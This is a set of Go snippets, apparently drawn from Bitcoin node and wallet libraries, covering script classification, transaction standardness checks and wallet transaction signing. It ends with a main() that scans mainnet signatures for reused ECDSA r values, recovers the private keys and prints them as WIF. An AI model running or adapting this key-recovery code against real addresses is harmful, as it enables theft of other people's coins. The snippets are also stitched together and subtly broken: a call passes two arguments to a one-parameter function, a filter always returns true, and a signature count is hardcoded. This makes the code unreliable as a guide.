// extracts the counts of the standard outscripts each transaction contains func ExtractOutScripts(tx *btcwire.MsgTx) map[btcscript.ScriptClass]int { outmap := make(map[btcscript.ScriptClass]int) for _, txout := range tx.TxOut { class := btcscript.GetScriptClass(txout.PkScript) outmap[class]++ } return outmap }
// Only log transactions that are not of type "pubkeyhash" func filter(tx *btcwire.MsgTx) bool { for _, txout := range tx.TxOut { script := txout.PkScript scriptclass := btcscript.GetScriptClass(script).String() if scriptclass != "pubkeyhash" { return true } } return true }
// isNonstandardTransaction determines whether a transaction contains any // scripts which are not one of the standard types. func isNonstandardTransaction(tx *btcutil.Tx) bool { // TODO(davec): Should there be checks for the input signature scripts? // Check all of the output public key scripts for non-standard scripts. for _, txOut := range tx.MsgTx().TxOut { scriptClass := btcscript.GetScriptClass(txOut.PkScript) if scriptClass == btcscript.NonStandardTy { return true } } return false }
// maybeAddOutpoint potentially adds the passed outpoint to the bloom filter // depending on the bloom update flags and the type of the passed public key // script. // // This function MUST be called with the filter lock held. func (bf *Filter) maybeAddOutpoint(pkScript []byte, outHash *btcwire.ShaHash, outIdx uint32) { switch bf.msgFilterLoad.Flags { case btcwire.BloomUpdateAll: outpoint := btcwire.NewOutPoint(outHash, outIdx) bf.addOutPoint(outpoint) case btcwire.BloomUpdateP2PubkeyOnly: class := btcscript.GetScriptClass(pkScript) if class == btcscript.PubKeyTy || class == btcscript.MultiSigTy { outpoint := btcwire.NewOutPoint(outHash, outIdx) bf.addOutPoint(outpoint) } } }
// checkPkScriptStandard performs a series of checks on a transaction ouput // script (public key script) to ensure it is a "standard" public key script. // A standard public key script is one that is a recognized form, and for // multi-signature scripts, only contains from 1 to 3 signatures. func checkPkScriptStandard(pkScript []byte) error { scriptClass := btcscript.GetScriptClass(pkScript) switch scriptClass { case btcscript.MultiSigTy: // TODO(davec): Need to get the actual number of signatures. numSigs := 1 if numSigs < 1 { str := fmt.Sprintf("multi-signature script with no " + "signatures") return TxRuleError(str) } if numSigs > maxStandardMultiSigs { str := fmt.Sprintf("multi-signature script with %d "+ "signatures which is more than the allowed max "+ "of %d", numSigs, maxStandardMultiSigs) return TxRuleError(str) } case btcscript.NonStandardTy: return TxRuleError(fmt.Sprintf("non-standard script form")) } return nil }
// checkTransactionStandard performs a series of checks on a transaction to // ensure it is a "standard" transaction. A standard transaction is one that // conforms to several additional limiting cases over what is considered a // "sane" transaction such as having a version in the supported range, being // finalized, conforming to more stringent size constraints, having scripts // of recognized forms, and not containing "dust" outputs (those that are // so small it costs more to process them than they are worth). func checkTransactionStandard(tx *btcutil.Tx, height int64) error { msgTx := tx.MsgTx() // The transaction must be a currently supported version. if msgTx.Version > btcwire.TxVersion || msgTx.Version < 1 { str := fmt.Sprintf("transaction version %d is not in the "+ "valid range of %d-%d", msgTx.Version, 1, btcwire.TxVersion) return TxRuleError(str) } // The transaction must be finalized to be standard and therefore // considered for inclusion in a block. if !btcchain.IsFinalizedTransaction(tx, height, time.Now()) { return TxRuleError("transaction is not finalized") } // Since extremely large transactions with a lot of inputs can cost // almost as much to process as the sender fees, limit the maximum // size of a transaction. This also helps mitigate CPU exhaustion // attacks. serializedLen := msgTx.SerializeSize() if serializedLen > maxStandardTxSize { str := fmt.Sprintf("transaction size of %v is larger than max "+ "allowed size of %v", serializedLen, maxStandardTxSize) return TxRuleError(str) } for i, txIn := range msgTx.TxIn { // Each transaction input signature script must not exceed the // maximum size allowed for a standard transaction. See // the comment on maxStandardSigScriptSize for more details. sigScriptLen := len(txIn.SignatureScript) if sigScriptLen > maxStandardSigScriptSize { str := fmt.Sprintf("transaction input %d: signature "+ "script size of %d bytes is large than max "+ "allowed size of %d bytes", i, sigScriptLen, maxStandardSigScriptSize) return TxRuleError(str) } // Each transaction input signature script must only contain // opcodes which push data onto the stack. if !btcscript.IsPushOnlyScript(txIn.SignatureScript) { str := fmt.Sprintf("transaction input %d: signature "+ "script is not push only", i) return TxRuleError(str) } // Each transaction input signature script must only contain // canonical data pushes. A canonical data push is one where // the minimum possible number of bytes is used to represent // the data push as possible. if !btcscript.HasCanonicalPushes(txIn.SignatureScript) { str := fmt.Sprintf("transaction input %d: signature "+ "script has a non-canonical data push", i) return TxRuleError(str) } } // None of the output public key scripts can be a non-standard script or // be "dust". numNullDataOutputs := 0 for i, txOut := range msgTx.TxOut { scriptClass := btcscript.GetScriptClass(txOut.PkScript) err := checkPkScriptStandard(txOut.PkScript, scriptClass) if err != nil { str := fmt.Sprintf("transaction output %d: %v", i, err) return TxRuleError(str) } // Accumulate the number of outputs which only carry data. if scriptClass == btcscript.NullDataTy { numNullDataOutputs++ } if isDust(txOut) { str := fmt.Sprintf("transaction output %d: payment "+ "of %d is dust", i, txOut.Value) return TxRuleError(str) } } // A standard transaction must not have more than one output script that // only carries data. if numNullDataOutputs > 1 { return TxRuleError("more than one transaction output is a " + "nulldata script") } return nil }
// txToPairs creates a raw transaction sending the amounts for each // address/amount pair and fee to each address and the miner. minconf // specifies the minimum number of confirmations required before an // unspent output is eligible for spending. Leftover input funds not sent // to addr or as a fee for the miner are sent to a newly generated // address. If change is needed to return funds back to an owned // address, changeUtxo will point to a unconfirmed (height = -1, zeroed // block hash) Utxo. ErrInsufficientFunds is returned if there are not // enough eligible unspent outputs to create the transaction. func (a *Account) txToPairs(pairs map[string]btcutil.Amount, minconf int) (*CreatedTx, error) { // Wallet must be unlocked to compose transaction. if a.IsLocked() { return nil, wallet.ErrWalletLocked } // Create a new transaction which will include all input scripts. msgtx := btcwire.NewMsgTx() // Calculate minimum amount needed for inputs. var amt btcutil.Amount for _, v := range pairs { // Error out if any amount is negative. if v <= 0 { return nil, ErrNonPositiveAmount } amt += v } // Add outputs to new tx. for addrStr, amt := range pairs { addr, err := btcutil.DecodeAddress(addrStr, activeNet.Params) if err != nil { return nil, fmt.Errorf("cannot decode address: %s", err) } // Add output to spend amt to addr. pkScript, err := btcscript.PayToAddrScript(addr) if err != nil { return nil, fmt.Errorf("cannot create txout script: %s", err) } txout := btcwire.NewTxOut(int64(amt), pkScript) msgtx.AddTxOut(txout) } // Get current block's height and hash. bs, err := GetCurBlock() if err != nil { return nil, err } // Make a copy of msgtx before any inputs are added. This will be // used as a starting point when trying a fee and starting over with // a higher fee if not enough was originally chosen. txNoInputs := msgtx.Copy() unspent, err := a.TxStore.UnspentOutputs() if err != nil { return nil, err } // Filter out unspendable outputs, that is, remove those that (at this // time) are not P2PKH outputs. Other inputs must be manually included // in transactions and sent (for example, using createrawtransaction, // signrawtransaction, and sendrawtransaction). eligible := make([]txstore.Credit, 0, len(unspent)) for i := range unspent { switch btcscript.GetScriptClass(unspent[i].TxOut().PkScript) { case btcscript.PubKeyHashTy: if !unspent[i].Confirmed(minconf, bs.Height) { continue } // Coinbase transactions must have have reached maturity // before their outputs may be spent. if unspent[i].IsCoinbase() { target := btcchain.CoinbaseMaturity if !unspent[i].Confirmed(target, bs.Height) { continue } } // Locked unspent outputs are skipped. if a.LockedOutpoint(*unspent[i].OutPoint()) { continue } eligible = append(eligible, unspent[i]) } } // Sort eligible inputs, as selectInputs expects these to be sorted // by amount in reverse order. sort.Sort(sort.Reverse(ByAmount(eligible))) var selectedInputs []txstore.Credit // changeAddr is nil/zeroed until a change address is needed, and reused // again in case a change utxo has already been chosen. var changeAddr btcutil.Address // Get the number of satoshis to increment fee by when searching for // the minimum tx fee needed. fee := btcutil.Amount(0) for { msgtx = txNoInputs.Copy() // Select eligible outputs to be used in transaction based on the amount // neededing to sent, and the current fee estimation. inputs, btcin, err := selectInputs(eligible, amt, fee, minconf) if err != nil { return nil, err } // Check if there are leftover unspent outputs, and return coins back to // a new address we own. change := btcin - amt - fee if change > 0 { // Get a new change address if one has not already been found. if changeAddr == nil { changeAddr, err = a.ChangeAddress(&bs, cfg.KeypoolSize) if err != nil { return nil, fmt.Errorf("failed to get next address: %s", err) } // Mark change address as belonging to this account. AcctMgr.MarkAddressForAccount(changeAddr, a) } // Spend change. pkScript, err := btcscript.PayToAddrScript(changeAddr) if err != nil { return nil, fmt.Errorf("cannot create txout script: %s", err) } msgtx.AddTxOut(btcwire.NewTxOut(int64(change), pkScript)) // Randomize index of the change output. rng := badrand.New(badrand.NewSource(time.Now().UnixNano())) r := rng.Int31n(int32(len(msgtx.TxOut))) // random index c := len(msgtx.TxOut) - 1 // change index msgtx.TxOut[r], msgtx.TxOut[c] = msgtx.TxOut[c], msgtx.TxOut[r] } // Selected unspent outputs become new transaction's inputs. for _, ip := range inputs { msgtx.AddTxIn(btcwire.NewTxIn(ip.OutPoint(), nil)) } for i, input := range inputs { // Errors don't matter here, as we only consider the // case where len(addrs) == 1. _, addrs, _, _ := input.Addresses(activeNet.Params) if len(addrs) != 1 { continue } apkh, ok := addrs[0].(*btcutil.AddressPubKeyHash) if !ok { continue // don't handle inputs to this yes } ai, err := a.Address(apkh) if err != nil { return nil, fmt.Errorf("cannot get address info: %v", err) } pka := ai.(wallet.PubKeyAddress) privkey, err := pka.PrivKey() if err == wallet.ErrWalletLocked { return nil, wallet.ErrWalletLocked } else if err != nil { return nil, fmt.Errorf("cannot get address key: %v", err) } sigscript, err := btcscript.SignatureScript(msgtx, i, input.TxOut().PkScript, btcscript.SigHashAll, privkey, ai.Compressed()) if err != nil { return nil, fmt.Errorf("cannot create sigscript: %s", err) } msgtx.TxIn[i].SignatureScript = sigscript } noFeeAllowed := false if !cfg.DisallowFree { noFeeAllowed = allowFree(bs.Height, inputs, msgtx.SerializeSize()) } if minFee := minimumFee(msgtx, noFeeAllowed); fee < minFee { fee = minFee } else { selectedInputs = inputs break } } // Validate msgtx before returning the raw transaction. flags := btcscript.ScriptCanonicalSignatures bip16 := time.Now().After(btcscript.Bip16Activation) if bip16 { flags |= btcscript.ScriptBip16 } for i, txin := range msgtx.TxIn { engine, err := btcscript.NewScript(txin.SignatureScript, selectedInputs[i].TxOut().PkScript, i, msgtx, flags) if err != nil { return nil, fmt.Errorf("cannot create script engine: %s", err) } if err = engine.Execute(); err != nil { return nil, fmt.Errorf("cannot validate transaction: %s", err) } } buf := bytes.Buffer{} buf.Grow(msgtx.SerializeSize()) if err := msgtx.BtcEncode(&buf, btcwire.ProtocolVersion); err != nil { // Hitting OOM by growing or writing to a bytes.Buffer already // panics, and all returned errors are unexpected. panic(err) } info := &CreatedTx{ tx: btcutil.NewTx(msgtx), inputs: selectedInputs, changeAddr: changeAddr, } return info, nil }
func main() { var ( dataDir = flag.String("datadir", filepath.Join(btcutil.AppDataDir("btcd", false), "data"), "BTCD: Data directory") dbType = flag.String("dbtype", "leveldb", "BTCD: Database backend") ) flag.Parse() db, err := btcdbSetup(*dataDir, *dbType) if err != nil { log.Println("btcdbSetup error:", err) return } defer db.Close() var jsonFile = flag.String("json", "blockchainr.json", "blockchainr output") flag.Parse() blockchainrFile, err := ioutil.ReadFile(*jsonFile) if err != nil { log.Println("failed to read blockchainr.json:", err) return } results := make(map[string][]*inData) err = json.Unmarshal(blockchainrFile, &results) if err != nil { log.Println("Unmarshal error:", err) return } fmt.Println("blkH\tblkSha\tblkTime\ttxIndex\ttxSha\ttxInIndex\tprevBlkH\tprevBlkSha\tprevBlkTime\tr\taddr\twif") targets := make(map[[2]string][]*rData) for r, inDataList := range results { for _, in := range inDataList { rd := &rData{r: r, in: in} if err := fetch(db, rd); err != nil { log.Println("Skipping at fetch:", err) printLine(rd) continue } switch t := btcscript.GetScriptClass(rd.txPrevOut.PkScript); t { case btcscript.PubKeyHashTy: if err := processPubKeyHash(db, rd); err != nil { log.Println("Skipping at opCheckSig:", err) printLine(rd) continue } default: log.Println("Unsupported pkScript type:", btcscript.ScriptClassToName[t], rd.in) printLine(rd) continue } // TODO: group compressed and uncompressed together key := [...]string{rd.address, rd.r} targets[key] = append(targets[key], rd) } } // Do the magic! for _, target := range targets { if len(target) < 2 { // The r value was reused across different addresses // TODO: also this information would be interesting to graph for _, rd := range target { printLine(rd) } continue } a := target[0] b := target[1] log.Printf("[%v]\n", a.address) log.Printf("Repeated r value: %v (%v times)\n", a.r, len(target)) privKey := recoverKey(a.signature, b.signature, a.hash, b.hash, a.pubKey) if privKey == nil { log.Print("recoverKey error\n\n") continue } wif, err := btcutil.NewWIF(privKey, &btcnet.MainNetParams, a.compressed) if err != nil { log.Printf("NewWIF error: %v\n\n", err) continue } for _, rd := range target { rd.wif = wif printLine(rd) } log.Printf("%v\n\n", wif.String()) } }